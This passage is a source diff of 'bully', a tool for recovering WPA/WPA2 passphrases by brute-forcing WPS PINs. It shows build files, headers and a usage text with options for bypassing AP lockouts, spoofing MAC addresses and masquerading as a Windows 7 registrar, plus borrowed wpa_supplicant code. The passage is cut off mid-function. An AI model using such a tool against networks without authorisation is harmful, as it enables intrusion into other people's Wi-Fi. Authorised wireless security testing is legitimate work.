exec_prefix = $(prefix)
|
||||
bindir = $(exec_prefix)/bin
|
||||
|
||||
W_NAME = bully
|
||||
W_ROOT = `pwd`
|
||||
|
||||
CFLAGS += -I$(W_ROOT) -I$(W_ROOT)/utils/ -I$(W_ROOT)/tls/
|
||||
CFLAGS += -I$(W_ROOT)/wps/ -I$(W_ROOT)/crypto/ -I$(W_ROOT)/common/
|
||||
CFLAGS += -DUSE_INTERNAL_CRYPTO -O2
|
||||
|
||||
LDFLAGS += -lpcap
|
||||
|
||||
HDRS = $(W_NAME).h 80211.h frame.h iface.h bswap.h version.h
|
||||
SRCS = $(W_NAME).c 80211.c frame.c iface.c crc32.c timer.c utils.c
|
||||
|
||||
all: $(W_NAME)
|
||||
|
||||
$(W_NAME): $(HDRS) $(SRCS)
|
||||
$(CC) $(CFLAGS) -o $(@) $(W_NAME).c pdust.c $(LDFLAGS)
|
||||
|
||||
strip: $(W_NAME)
|
||||
strip $(W_NAME)
|
||||
|
||||
clean:
|
||||
-rm -f $(W_NAME) $(W_NAME).o
|
||||
|
||||
distclean: clean
|
||||
|
||||
install: all
|
||||
install -d $(DESTDIR)$(bindir)
|
||||
install -m 755 $(W_NAME) $(DESTDIR)$(bindir)
|
||||
|
||||
uninstall:
|
||||
-rm -f $(DESTDIR)$(bindir)/$(W_NAME)
|
|
@ -0,0 +1,56 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2012 Brian Purcell <purcell.briand@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#ifndef _BSWAP_H
|
||||
#define _BSWAP_H 1
|
||||
|
||||
#ifndef htobe16
|
||||
# if __BYTE_ORDER == __LITTLE_ENDIAN
|
||||
# define htobe16(x) __bswap_16 (x)
|
||||
# define htole16(x) (x)
|
||||
# define be16toh(x) __bswap_16 (x)
|
||||
# define le16toh(x) (x)
|
||||
|
||||
# define htobe32(x) __bswap_32 (x)
|
||||
# define htole32(x) (x)
|
||||
# define be32toh(x) __bswap_32 (x)
|
||||
# define le32toh(x) (x)
|
||||
|
||||
# define htobe64(x) __bswap_64 (x)
|
||||
# define htole64(x) (x)
|
||||
# define be64toh(x) __bswap_64 (x)
|
||||
# define le64toh(x) (x)
|
||||
# else
|
||||
# define htobe16(x) (x)
|
||||
# define htole16(x) __bswap_16 (x)
|
||||
# define be16toh(x) (x)
|
||||
# define le16toh(x) __bswap_16 (x)
|
||||
|
||||
# define htobe32(x) (x)
|
||||
# define htole32(x) __bswap_32 (x)
|
||||
# define be32toh(x) (x)
|
||||
# define le32toh(x) __bswap_32 (x)
|
||||
|
||||
# define htobe64(x) (x)
|
||||
# define htole64(x) __bswap_64 (x)
|
||||
# define be64toh(x) (x)
|
||||
# define le64toh(x) __bswap_64 (x)
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#endif /* _BSWAP_H */
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,269 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2017 wiire <wi7ire@gmail.com>
|
||||
Copyright (C) 2012 Brian Purcell <purcell.briand@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#ifndef _BULLY_H
|
||||
#define _BULLY_H
|
||||
|
||||
#define EXE_NAME "bully"
|
||||
|
||||
typedef struct pcap_pkthdr phdr_t;
|
||||
typedef struct wps_config wpsc_t;
|
||||
typedef struct wps_data wpsd_t;
|
||||
typedef struct wps_registrar_config wpsr_t;
|
||||
typedef struct wps_context wctx_t;
|
||||
typedef struct wpabuf wpab_t;
|
||||
|
||||
char *__vp;
|
||||
#define __vs 1024
|
||||
int __vb = 3;
|
||||
FILE *__vf;
|
||||
#define vprint(...) { snprintf(__vp,__vs,__VA_ARGS__); if ((__vp[1]=='+'?3:__vp[1]=='!'?2:1)<=__vb) fputs(__vp,__vf); }
|
||||
|
||||
char hx[16] = "0123456789abcdef";
|
||||
#define HEXSZ 2049
|
||||
char _xbuf[HEXSZ];
|
||||
char *hex(void *p, int len);
|
||||
|
||||
#define MAX_FCS_FAIL 3
|
||||
#define MAX_RETRIES 2
|
||||
#define LOCK_WAIT_SECS 43
|
||||
|
||||
#define ACKTIME 25
|
||||
#define STDTIME 200
|
||||
#define M13TIME 2000
|
||||
|
||||
#define SUCCESS 0
|
||||
#define FCSFAIL 1
|
||||
#define INJFAIL 1
|
||||
#define TIMEOUT 2
|
||||
#define ACKFAIL 2
|
||||
#define DEORDIS 3
|
||||
#define EAPFAIL 4
|
||||
#define WPSFAIL 5
|
||||
#define KEY1NAK 6
|
||||
#define KEY2NAK 7
|
||||
|
||||
char *names[] = {
|
||||
"Success",
|
||||
"Failure",
|
||||
"Timeout",
|
||||
"NoAssoc",
|
||||
"EAPFail",
|
||||
"WPSFail",
|
||||
"Pin1Bad",
|
||||
"Pin2Bad"
|
||||
};
|
||||
|
||||
char *state[] = {
|
||||
"Last State",
|
||||
"Rx(Beacon)",
|
||||
"Tx(DeAuth)",
|
||||
"Tx( Auth )",
|
||||
"Rx( Auth )",
|
||||
"Tx( Assn )",
|
||||
"Rx( Assn )",
|
||||
"Tx( Strt )",
|
||||
"Rx( ID )",
|
||||
"Tx( ID )",
|
||||
"Rx( M1 )",
|
||||
"Tx( M2 )",
|
||||
"Rx(M2D/M3)",
|
||||
"Tx( M4 )",
|
||||
"Rx( M5 )",
|
||||
"Tx( M6 )",
|
||||
"Rx( M7 )"
|
||||
};
|
||||
|
||||
#define START_ASSOC 1
|
||||
#define START_EAPOL 7
|
||||
#define RECV_M2D_M3 12
|
||||
|
||||
int map[17] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 5, 7, 8, 9, 10, 11 };
|
||||
|
||||
#define PKT_ACK 0
|
||||
#define PKT_PR 1
|
||||
#define PKT_BEA 2
|
||||
#define PKT_AUT 3
|
||||
#define PKT_ASN 4
|
||||
#define PKT_EID 5
|
||||
#define PKT_M1 6
|
||||
#define PKT_M3 7
|
||||
#define PKT_M5 8
|
||||
#define PKT_M7 9
|
||||
#define PKT_EAP 10
|
||||
#define PKT_NOP 11
|
||||
|
||||
struct {
|
||||
int user;
|
||||
int def;
|
||||
int count;
|
||||
int avg;
|
||||
int max;
|
||||
} times[] = {
|
||||
{0, 100, 1, 100, 100}, /* ACK */
|
||||
{0, 660, 1, 2650, 2650}, /* PR */
|
||||
{0, 660, 1, 2650, 2650}, /* BEA */
|
||||
{0, 100, 1, 200, 200}, /* AUT */
|
||||
{0, 100, 1, 200, 200}, /* ASN */
|
||||
{0, 712, 1, 2850, 2850}, /* EID */
|
||||
{0, 8962, 1, 35850, 35850}, /* M1 */
|
||||
{0, 4585, 1, 18350, 18350}, /* M3 */
|
||||
{0, 860, 1, 3450, 3450}, /* M5 */
|
||||
{0, 2685, 1, 10750, 10750}, /* M7 */
|
||||
{0, 100, 1, 100, 100}, /* EAP */
|
||||
{0, 0, 1, 0, 0}, /* NOP */
|
||||
};
|
||||
|
||||
struct global {
|
||||
uint8 *ifname;
|
||||
char *essid;
|
||||
char *ssids;
|
||||
uint8 bssid[6];
|
||||
char *smacs;
|
||||
uint8 hwmac[6];
|
||||
char *hop;
|
||||
char *warpath;
|
||||
#ifdef HAVE_LUA
|
||||
char *luaf;
|
||||
lua_State *luavm;
|
||||
#endif
|
||||
char *runf;
|
||||
char *pinf;
|
||||
char schan[8];
|
||||
int8 *index;
|
||||
int *chans;
|
||||
int *freqs;
|
||||
int chanx;
|
||||
int start;
|
||||
int test;
|
||||
int probe;
|
||||
int win7;
|
||||
int eapfail;
|
||||
int eapmode;
|
||||
int eapflag;
|
||||
int restart;
|
||||
int fixed;
|
||||
int force;
|
||||
int random;
|
||||
int suppress;
|
||||
int ignore;
|
||||
int verbose;
|
||||
int has_rth;
|
||||
int has_fcs;
|
||||
int nocheck;
|
||||
int broken;
|
||||
int use_ack;
|
||||
int m57nack;
|
||||
int retries;
|
||||
int acktime;
|
||||
int stdtime;
|
||||
int m13time;
|
||||
int dlt;
|
||||
int sequence;
|
||||
int delay;
|
||||
int k1delay, k1step, k1count;
|
||||
int k2delay, k2step, k2count;
|
||||
int wpsinfo;
|
||||
int lwait;
|
||||
int detect;
|
||||
int dcount;
|
||||
int state;
|
||||
int pinstart;
|
||||
int pindex;
|
||||
int d1xlnx;
|
||||
int eapidx;
|
||||
int eaplnx;
|
||||
int wfaopx;
|
||||
char *error;
|
||||
char *perr;
|
||||
pcap_t *pfd;
|
||||
phdr_t *phdr;
|
||||
frame_t *inp;
|
||||
uint8 *asshat;
|
||||
int assl;
|
||||
uint8 *dprobe;
|
||||
int reql;
|
||||
wpsd_t *wdata;
|
||||
int16 *pin1;
|
||||
int16 *pin2;
|
||||
};
|
||||
|
||||
#define W7_DEVICE_NAME "Glau"
|
||||
#define W7_MANUFACTURER "Microsoft"
|
||||
#define W7_MODEL_NAME "Windows"
|
||||
#define W7_MODEL_NUMBER "6.1.7601"
|
||||
#define W7_DEVICE_TYPE "\x00\x01\x00\x50\xF2\x04\x00\x01"
|
||||
#define W7_OS_VERSION "\x01\x00\x06\x00"
|
||||
#define W7_RF_BANDS 0x01
|
||||
|
||||
char usage[] =
|
||||
"\n"
|
||||
" usage: %s <options> interface\n"
|
||||
"\n"
|
||||
" Required arguments:\n"
|
||||
"\n"
|
||||
" interface : Wireless interface in monitor mode (root required)\n"
|
||||
"\n"
|
||||
" -b, --bssid macaddr : MAC address of the target access point\n"
|
||||
" Or\n"
|
||||
" -e, --essid string : Extended SSID for the access point\n"
|
||||
"\n"
|
||||
" Optional arguments:\n"
|
||||
"\n"
|
||||
" -c, --channel N[,N...] : Channel number of AP, or list to hop [b/g]\n"
|
||||
" -i, --index N : Starting pin index (7 or 8 digits) [Auto]\n"
|
||||
" -l, --lockwait N : Seconds to wait if the AP locks WPS [43]\n"
|
||||
" -o, --outfile file : Output file for messages [stdout]\n"
|
||||
" -p, --pin N : Starting pin number (7 or 8 digits) [Auto]\n"
|
||||
" -s, --source macaddr : Source (hardware) MAC address [Probe]\n"
|
||||
#ifdef HAVE_LUA
|
||||
" -u, --lua : Lua script file \n"
|
||||
#endif
|
||||
" -v, --verbosity N : Verbosity level 1-3, 1 is quietest [3]\n"
|
||||
" -w, --workdir path : Location of pin/session files [~/.bully/]\n"
|
||||
" -5, --5ghz : Hop on 5GHz a/n default channel list [No]\n"
|
||||
" -B, --bruteforce : Bruteforce the WPS pin checksum digit [No]\n"
|
||||
" -F, --force : Force continue in spite of warnings [No]\n"
|
||||
" -S, --sequential : Sequential pins (do not randomize) [No]\n"
|
||||
" -T, --test : Test mode (do not inject any packets) [No]\n"
|
||||
"\n"
|
||||
" Advanced arguments:\n"
|
||||
"\n"
|
||||
" -a, --acktime N : Deprecated/ignored [Auto]\n"
|
||||
" -r, --retries N : Resend packets N times when not acked [2]\n"
|
||||
" -m, --m13time N : Deprecated/ignored [Auto]\n"
|
||||
" -t, --timeout N : Deprecated/ignored [Auto]\n"
|
||||
" -1, --pin1delay M,N : Delay M seconds every Nth nack at M5 [0,1]\n"
|
||||
" -2, --pin2delay M,N : Delay M seconds every Nth nack at M7 [5,1]\n"
|
||||
" -A, --noacks : Disable ACK check for sent packets [No]\n"
|
||||
" -C, --nocheck : Skip CRC/FCS validation (performance) [No]\n"
|
||||
" -D, --detectlock : Detect WPS lockouts unreported by AP [No]\n"
|
||||
" -E, --eapfail : EAP Failure terminate every exchange [No]\n"
|
||||
" -L, --lockignore : Ignore WPS locks reported by the AP [No]\n"
|
||||
" -M, --m57nack : M5/M7 timeouts treated as WSC_NACK's [No]\n"
|
||||
" -N, --nofcs : Packets don't contain the FCS field [Auto]\n"
|
||||
" -P, --probe : Use probe request for nonbeaconing AP [No]\n"
|
||||
" -Q, --wpsinfo : Use probe request to gather WPS info [No]\n"
|
||||
" -R, --radiotap : Assume radiotap headers are present [Auto]\n"
|
||||
" -W, --windows7 : Masquerade as a Windows 7 registrar [No]\n"
|
||||
" -Z, --suppress : Suppress packet throttling algorithm [No]\n"
|
||||
" -V, --version : Print version info and exit\n"
|
||||
" -h, --help : Display this help information\n\n%s";
|
||||
|
||||
#endif /* _BULLY_H */
|
|
@ -0,0 +1,8 @@
|
|||
all:
|
||||
@echo Nothing to be made.
|
||||
|
||||
clean:
|
||||
rm -f *~ *.o *.d
|
||||
|
||||
install:
|
||||
@echo Nothing to be made.
|
|
@ -0,0 +1,255 @@
|
|||
/*
|
||||
* WPA Supplicant - Common definitions
|
||||
* Copyright (c) 2004-2008, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef DEFS_H
|
||||
#define DEFS_H
|
||||
|
||||
#ifdef FALSE
|
||||
#undef FALSE
|
||||
#endif
|
||||
#ifdef TRUE
|
||||
#undef TRUE
|
||||
#endif
|
||||
typedef enum { FALSE = 0, TRUE = 1 } Boolean;
|
||||
|
||||
|
||||
#define WPA_CIPHER_NONE BIT(0)
|
||||
#define WPA_CIPHER_WEP40 BIT(1)
|
||||
#define WPA_CIPHER_WEP104 BIT(2)
|
||||
#define WPA_CIPHER_TKIP BIT(3)
|
||||
#define WPA_CIPHER_CCMP BIT(4)
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
#define WPA_CIPHER_AES_128_CMAC BIT(5)
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
|
||||
#define WPA_KEY_MGMT_IEEE8021X BIT(0)
|
||||
#define WPA_KEY_MGMT_PSK BIT(1)
|
||||
#define WPA_KEY_MGMT_NONE BIT(2)
|
||||
#define WPA_KEY_MGMT_IEEE8021X_NO_WPA BIT(3)
|
||||
#define WPA_KEY_MGMT_WPA_NONE BIT(4)
|
||||
#define WPA_KEY_MGMT_FT_IEEE8021X BIT(5)
|
||||
#define WPA_KEY_MGMT_FT_PSK BIT(6)
|
||||
#define WPA_KEY_MGMT_IEEE8021X_SHA256 BIT(7)
|
||||
#define WPA_KEY_MGMT_PSK_SHA256 BIT(8)
|
||||
#define WPA_KEY_MGMT_WPS BIT(9)
|
||||
|
||||
static inline int wpa_key_mgmt_wpa_ieee8021x(int akm)
|
||||
{
|
||||
return akm == WPA_KEY_MGMT_IEEE8021X ||
|
||||
akm == WPA_KEY_MGMT_FT_IEEE8021X ||
|
||||
akm == WPA_KEY_MGMT_IEEE8021X_SHA256;
|
||||
}
|
||||
|
||||
static inline int wpa_key_mgmt_wpa_psk(int akm)
|
||||
{
|
||||
return akm == WPA_KEY_MGMT_PSK ||
|
||||
akm == WPA_KEY_MGMT_FT_PSK ||
|
||||
akm == WPA_KEY_MGMT_PSK_SHA256;
|
||||
}
|
||||
|
||||
static inline int wpa_key_mgmt_ft(int akm)
|
||||
{
|
||||
return akm == WPA_KEY_MGMT_FT_PSK ||
|
||||
akm == WPA_KEY_MGMT_FT_IEEE8021X;
|
||||
}
|
||||
|
||||
static inline int wpa_key_mgmt_sha256(int akm)
|
||||
{
|
||||
return akm == WPA_KEY_MGMT_PSK_SHA256 ||
|
||||
akm == WPA_KEY_MGMT_IEEE8021X_SHA256;
|
||||
}
|
||||
|
||||
|
||||
#define WPA_PROTO_WPA BIT(0)
|
||||
#define WPA_PROTO_RSN BIT(1)
|
||||
|
||||
#define WPA_AUTH_ALG_OPEN BIT(0)
|
||||
#define WPA_AUTH_ALG_SHARED BIT(1)
|
||||
#define WPA_AUTH_ALG_LEAP BIT(2)
|
||||
#define WPA_AUTH_ALG_FT BIT(3)
|
||||
|
||||
|
||||
enum wpa_alg {
|
||||
WPA_ALG_NONE,
|
||||
WPA_ALG_WEP,
|
||||
WPA_ALG_TKIP,
|
||||
WPA_ALG_CCMP,
|
||||
WPA_ALG_IGTK,
|
||||
WPA_ALG_PMK
|
||||
};
|
||||
|
||||
/**
|
||||
* enum wpa_cipher - Cipher suites
|
||||
*/
|
||||
enum wpa_cipher {
|
||||
CIPHER_NONE,
|
||||
CIPHER_WEP40,
|
||||
CIPHER_TKIP,
|
||||
CIPHER_CCMP,
|
||||
CIPHER_WEP104
|
||||
};
|
||||
|
||||
/**
|
||||
* enum wpa_key_mgmt - Key management suites
|
||||
*/
|
||||
enum wpa_key_mgmt {
|
||||
KEY_MGMT_802_1X,
|
||||
KEY_MGMT_PSK,
|
||||
KEY_MGMT_NONE,
|
||||
KEY_MGMT_802_1X_NO_WPA,
|
||||
KEY_MGMT_WPA_NONE,
|
||||
KEY_MGMT_FT_802_1X,
|
||||
KEY_MGMT_FT_PSK,
|
||||
KEY_MGMT_802_1X_SHA256,
|
||||
KEY_MGMT_PSK_SHA256,
|
||||
KEY_MGMT_WPS
|
||||
};
|
||||
|
||||
/**
|
||||
* enum wpa_states - wpa_supplicant state
|
||||
*
|
||||
* These enumeration values are used to indicate the current wpa_supplicant
|
||||
* state (wpa_s->wpa_state). The current state can be retrieved with
|
||||
* wpa_supplicant_get_state() function and the state can be changed by calling
|
||||
* wpa_supplicant_set_state(). In WPA state machine (wpa.c and preauth.c), the
|
||||
* wrapper functions wpa_sm_get_state() and wpa_sm_set_state() should be used
|
||||
* to access the state variable.
|
||||
*/
|
||||
enum wpa_states {
|
||||
/**
|
||||
* WPA_DISCONNECTED - Disconnected state
|
||||
*
|
||||
* This state indicates that client is not associated, but is likely to
|
||||
* start looking for an access point. This state is entered when a
|
||||
* connection is lost.
|
||||
*/
|
||||
WPA_DISCONNECTED,
|
||||
|
||||
/**
|
||||
* WPA_INACTIVE - Inactive state (wpa_supplicant disabled)
|
||||
*
|
||||
* This state is entered if there are no enabled networks in the
|
||||
* configuration. wpa_supplicant is not trying to associate with a new
|
||||
* network and external interaction (e.g., ctrl_iface call to add or
|
||||
* enable a network) is needed to start association.
|
||||
*/
|
||||
WPA_INACTIVE,
|
||||
|
||||
/**
|
||||
* WPA_SCANNING - Scanning for a network
|
||||
*
|
||||
* This state is entered when wpa_supplicant starts scanning for a
|
||||
* network.
|
||||
*/
|
||||
WPA_SCANNING,
|
||||
|
||||
/**
|
||||
* WPA_AUTHENTICATING - Trying to authenticate with a BSS/SSID
|
||||
*
|
||||
* This state is entered when wpa_supplicant has found a suitable BSS
|
||||
* to authenticate with and the driver is configured to try to
|
||||
* authenticate with this BSS. This state is used only with drivers
|
||||
* that use wpa_supplicant as the SME.
|
||||
*/
|
||||
WPA_AUTHENTICATING,
|
||||
|
||||
/**
|
||||
* WPA_ASSOCIATING - Trying to associate with a BSS/SSID
|
||||
*
|
||||
* This state is entered when wpa_supplicant has found a suitable BSS
|
||||
* to associate with and the driver is configured to try to associate
|
||||
* with this BSS in ap_scan=1 mode. When using ap_scan=2 mode, this
|
||||
* state is entered when the driver is configured to try to associate
|
||||
* with a network using the configured SSID and security policy.
|
||||
*/
|
||||
WPA_ASSOCIATING,
|
||||
|
||||
/**
|
||||
* WPA_ASSOCIATED - Association completed
|
||||
*
|
||||
* This state is entered when the driver reports that association has
|
||||
* been successfully completed with an AP. If IEEE 802.1X is used
|
||||
* (with or without WPA/WPA2), wpa_supplicant remains in this state
|
||||
* until the IEEE 802.1X/EAPOL authentication has been completed.
|
||||
*/
|
||||
WPA_ASSOCIATED,
|
||||
|
||||
/**
|
||||
* WPA_4WAY_HANDSHAKE - WPA 4-Way Key Handshake in progress
|
||||
*
|
||||
* This state is entered when WPA/WPA2 4-Way Handshake is started. In
|
||||
* case of WPA-PSK, this happens when receiving the first EAPOL-Key
|
||||
* frame after association. In case of WPA-EAP, this state is entered
|
||||
* when the IEEE 802.1X/EAPOL authentication has been completed.
|
||||
*/
|
||||
WPA_4WAY_HANDSHAKE,
|
||||
|
||||
/**
|
||||
* WPA_GROUP_HANDSHAKE - WPA Group Key Handshake in progress
|
||||
*
|
||||
* This state is entered when 4-Way Key Handshake has been completed
|
||||
* (i.e., when the supplicant sends out message 4/4) and when Group
|
||||
* Key rekeying is started by the AP (i.e., when supplicant receives
|
||||
* message 1/2).
|
||||
*/
|
||||
WPA_GROUP_HANDSHAKE,
|
||||
|
||||
/**
|
||||
* WPA_COMPLETED - All authentication completed
|
||||
*
|
||||
* This state is entered when the full authentication process is
|
||||
* completed. In case of WPA2, this happens when the 4-Way Handshake is
|
||||
* successfully completed. With WPA, this state is entered after the
|
||||
* Group Key Handshake; with IEEE 802.1X (non-WPA) connection is
|
||||
* completed after dynamic keys are received (or if not used, after
|
||||
* the EAP authentication has been completed). With static WEP keys and
|
||||
* plaintext connections, this state is entered when an association
|
||||
* has been completed.
|
||||
*
|
||||
* This state indicates that the supplicant has completed its
|
||||
* processing for the association phase and that data connection is
|
||||
* fully configured.
|
||||
*/
|
||||
WPA_COMPLETED
|
||||
};
|
||||
|
||||
#define MLME_SETPROTECTION_PROTECT_TYPE_NONE 0
|
||||
#define MLME_SETPROTECTION_PROTECT_TYPE_RX 1
|
||||
#define MLME_SETPROTECTION_PROTECT_TYPE_TX 2
|
||||
#define MLME_SETPROTECTION_PROTECT_TYPE_RX_TX 3
|
||||
|
||||
#define MLME_SETPROTECTION_KEY_TYPE_GROUP 0
|
||||
#define MLME_SETPROTECTION_KEY_TYPE_PAIRWISE 1
|
||||
|
||||
|
||||
/**
|
||||
* enum mfp_options - Management frame protection (IEEE 802.11w) options
|
||||
*/
|
||||
enum mfp_options {
|
||||
NO_MGMT_FRAME_PROTECTION = 0,
|
||||
MGMT_FRAME_PROTECTION_OPTIONAL = 1,
|
||||
MGMT_FRAME_PROTECTION_REQUIRED = 2
|
||||
};
|
||||
|
||||
/**
|
||||
* enum hostapd_hw_mode - Hardware mode
|
||||
*/
|
||||
enum hostapd_hw_mode {
|
||||
HOSTAPD_MODE_IEEE80211B,
|
||||
HOSTAPD_MODE_IEEE80211G,
|
||||
HOSTAPD_MODE_IEEE80211A,
|
||||
NUM_HOSTAPD_MODES
|
||||
};
|
||||
|
||||
#endif /* DEFS_H */
|
|
@ -0,0 +1,47 @@
|
|||
/*
|
||||
* EAPOL definitions shared between hostapd and wpa_supplicant
|
||||
* Copyright (c) 2002-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef EAPOL_COMMON_H
|
||||
#define EAPOL_COMMON_H
|
||||
|
||||
/* IEEE Std 802.1X-2004 */
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma pack(push, 1)
|
||||
#endif /* _MSC_VER */
|
||||
|
||||
struct ieee802_1x_hdr {
|
||||
u8 version;
|
||||
u8 type;
|
||||
be16 length;
|
||||
/* followed by length octets of data */
|
||||
} STRUCT_PACKED;
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma pack(pop)
|
||||
#endif /* _MSC_VER */
|
||||
|
||||
#define EAPOL_VERSION 2
|
||||
|
||||
enum { IEEE802_1X_TYPE_EAP_PACKET = 0,
|
||||
IEEE802_1X_TYPE_EAPOL_START = 1,
|
||||
IEEE802_1X_TYPE_EAPOL_LOGOFF = 2,
|
||||
IEEE802_1X_TYPE_EAPOL_KEY = 3,
|
||||
IEEE802_1X_TYPE_EAPOL_ENCAPSULATED_ASF_ALERT = 4
|
||||
};
|
||||
|
||||
enum { EAPOL_KEY_TYPE_RC4 = 1, EAPOL_KEY_TYPE_RSN = 2,
|
||||
EAPOL_KEY_TYPE_WPA = 254 };
|
||||
|
||||
#endif /* EAPOL_COMMON_H */
|
|
@ -0,0 +1,326 @@
|
|||
/*
|
||||
* IEEE 802.11 Common routines
|
||||
* Copyright (c) 2002-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "ieee802_11_defs.h"
|
||||
#include "ieee802_11_common.h"
|
||||
|
||||
|
||||
static int ieee802_11_parse_vendor_specific(const u8 *pos, size_t elen,
|
||||
struct ieee802_11_elems *elems,
|
||||
int show_errors)
|
||||
{
|
||||
unsigned int oui;
|
||||
|
||||
/* first 3 bytes in vendor specific information element are the IEEE
|
||||
* OUI of the vendor. The following byte is used a vendor specific
|
||||
* sub-type. */
|
||||
if (elen < 4) {
|
||||
if (show_errors) {
|
||||
wpa_printf(MSG_MSGDUMP, "short vendor specific "
|
||||
"information element ignored (len=%lu)",
|
||||
(unsigned long) elen);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
oui = WPA_GET_BE24(pos);
|
||||
switch (oui) {
|
||||
case OUI_MICROSOFT:
|
||||
/* Microsoft/Wi-Fi information elements are further typed and
|
||||
* subtyped */
|
||||
switch (pos[3]) {
|
||||
case 1:
|
||||
/* Microsoft OUI (00:50:F2) with OUI Type 1:
|
||||
* real WPA information element */
|
||||
elems->wpa_ie = pos;
|
||||
elems->wpa_ie_len = elen;
|
||||
break;
|
||||
case WMM_OUI_TYPE:
|
||||
/* WMM information element */
|
||||
if (elen < 5) {
|
||||
wpa_printf(MSG_MSGDUMP, "short WMM "
|
||||
"information element ignored "
|
||||
"(len=%lu)",
|
||||
(unsigned long) elen);
|
||||
return -1;
|
||||
}
|
||||
switch (pos[4]) {
|
||||
case WMM_OUI_SUBTYPE_INFORMATION_ELEMENT:
|
||||
case WMM_OUI_SUBTYPE_PARAMETER_ELEMENT:
|
||||
/*
|
||||
* Share same pointer since only one of these
|
||||
* is used and they start with same data.
|
||||
* Length field can be used to distinguish the
|
||||
* IEs.
|
||||
*/
|
||||
elems->wmm = pos;
|
||||
elems->wmm_len = elen;
|
||||
break;
|
||||
case WMM_OUI_SUBTYPE_TSPEC_ELEMENT:
|
||||
elems->wmm_tspec = pos;
|
||||
elems->wmm_tspec_len = elen;
|
||||
break;
|
||||
default:
|
||||
wpa_printf(MSG_MSGDUMP, "unknown WMM "
|
||||
"information element ignored "
|
||||
"(subtype=%d len=%lu)",
|
||||
pos[4], (unsigned long) elen);
|
||||
return -1;
|
||||
}
|
||||
break;
|
||||
case 4:
|
||||
/* Wi-Fi Protected Setup (WPS) IE */
|
||||
elems->wps_ie = pos;
|
||||
elems->wps_ie_len = elen;
|
||||
break;
|
||||
default:
|
||||
wpa_printf(MSG_MSGDUMP, "Unknown Microsoft "
|
||||
"information element ignored "
|
||||
"(type=%d len=%lu)\n",
|
||||
pos[3], (unsigned long) elen);
|
||||
return -1;
|
||||
}
|
||||
break;
|
||||
|
||||
case OUI_BROADCOM:
|
||||
switch (pos[3]) {
|
||||
case VENDOR_HT_CAPAB_OUI_TYPE:
|
||||
elems->vendor_ht_cap = pos;
|
||||
elems->vendor_ht_cap_len = elen;
|
||||
break;
|
||||
default:
|
||||
wpa_printf(MSG_MSGDUMP, "Unknown Broadcom "
|
||||
"information element ignored "
|
||||
"(type=%d len=%lu)\n",
|
||||
pos[3], (unsigned long) elen);
|
||||
return -1;
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
wpa_printf(MSG_MSGDUMP, "unknown vendor specific information "
|
||||
"element ignored (vendor OUI %02x:%02x:%02x "
|
||||
"len=%lu)",
|
||||
pos[0], pos[1], pos[2], (unsigned long) elen);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* ieee802_11_parse_elems - Parse information elements in management frames
|
||||
* @start: Pointer to the start of IEs
|
||||
* @len: Length of IE buffer in octets
|
||||
* @elems: Data structure for parsed elements
|
||||
* @show_errors: Whether to show parsing errors in debug log
|
||||
* Returns: Parsing result
|
||||
*/
|
||||
ParseRes ieee802_11_parse_elems(const u8 *start, size_t len,
|
||||
struct ieee802_11_elems *elems,
|
||||
int show_errors)
|
||||
{
|
||||
size_t left = len;
|
||||
const u8 *pos = start;
|
||||
int unknown = 0;
|
||||
|
||||
os_memset(elems, 0, sizeof(*elems));
|
||||
|
||||
while (left >= 2) {
|
||||
u8 id, elen;
|
||||
|
||||
id = *pos++;
|
||||
elen = *pos++;
|
||||
left -= 2;
|
||||
|
||||
if (elen > left) {
|
||||
